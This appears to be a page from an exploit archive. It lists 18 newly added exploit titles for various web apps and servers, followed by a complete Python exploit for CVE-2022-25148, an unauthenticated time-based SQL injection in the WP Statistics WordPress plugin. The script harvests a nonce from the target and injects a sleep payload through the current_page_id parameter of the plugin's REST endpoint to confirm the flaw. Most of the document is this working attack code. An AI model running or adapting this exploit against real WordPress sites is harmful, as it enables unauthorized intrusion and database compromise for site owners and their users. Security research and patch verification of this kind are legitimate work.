4e246a01fb
18 changes to exploits/shellcodes/ghdb
DLINK DPH-400SE - Exposure of Sensitive Information
FileMage Gateway 1.10.9 - Local File Inclusion
Academy LMS 6.1 - Arbitrary File Upload
AdminLTE PiHole 5.18 - Broken Access Control
Blood Donor Management System v1.0 - Stored XSS
Bus Reservation System 1.1 - Multiple-SQLi
Credit Lite 1.5.4 - SQL Injection
CSZ CMS 1.3.0 - Stored Cross-Site Scripting ('Photo URL' and 'YouTube URL' )
CSZ CMS 1.3.0 - Stored Cross-Site Scripting (Plugin 'Gallery')
Hyip Rio 2.1 - Arbitrary File Upload
Member Login Script 3.3 - Client-side desync
SPA-Cart eCommerce CMS 1.9.0.3 - Reflected XSS
Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Webedition CMS v2.9.8.8 - Stored XSS
Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Webedition CMS v2.9.8.8 - Stored XSS
WP Statistics Plugin 13.1.5 current_page_id - Time based SQL injection (Unauthenticated)
Freefloat FTP Server 1.0 - 'PWD' Remote Buffer Overflow
Kingo ROOT 1.5.8 - Unquoted Service Path
NVClient v5.0 - Stack Buffer Overflow (DoS)
Ivanti Avalanche <v6.4.0.0 - Remote Code Execution
53 lines
No EOL
1.8 KiB
Python
Executable file
53 lines
No EOL
1.8 KiB
Python
Executable file
# Exploit Title: WP Statistics Plugin <= 13.1.5 current_page_id - Time based SQL injection (Unauthenticated)
|
|
# Date: 13/02/2022
|
|
# Exploit Author: psychoSherlock
|
|
# Vendor Homepage: https://wp-statistics.com/
|
|
# Software Link: https://downloads.wordpress.org/plugin/wp-statistics.13.1.5.zip
|
|
# Version: 13.1.5 and prior
|
|
# Tested on: wp-statistics 13.1.5
|
|
# CVE : CVE-2022-25148
|
|
# Vendor URL: https://wordpress.org/plugins/wp-statistics/
|
|
# CVSS Score: 8.4 (High)
|
|
|
|
import argparse
|
|
import requests
|
|
import re
|
|
import urllib.parse
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="CVE-2022-25148")
|
|
parser.add_argument('-u', '--url', required=True,
|
|
help='Wordpress base URL')
|
|
|
|
args = parser.parse_args()
|
|
|
|
baseUrl = args.url
|
|
payload = "IF(1=1, sleep(5), 1)"
|
|
|
|
wp_session = requests.session()
|
|
|
|
resp = wp_session.get(baseUrl)
|
|
nonce = re.search(r'_wpnonce=(.*?)&wp_statistics_hit', resp.text).group(1)
|
|
print(f"Gathered Nonce: {nonce}")
|
|
|
|
headers = {
|
|
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15"}
|
|
|
|
payload = urllib.parse.quote_plus(payload)
|
|
exploit = f'/wp-json/wp-statistics/v2/hit?_=11&_wpnonce={nonce}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home¤t_page_id={payload}&search_query&page_uri=/&user_id=0'
|
|
exploit_url = baseUrl + exploit
|
|
|
|
print(f'\nSending: {exploit_url}')
|
|
|
|
resp = wp_session.get(exploit_url, headers=headers)
|
|
|
|
if float(resp.elapsed.total_seconds()) >= 5.0:
|
|
print("\n!!! Target is vulnerable !!!")
|
|
print(f'\nTime taken: {resp.elapsed.total_seconds()}')
|
|
else:
|
|
print('Target is not vulnerable')
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main() |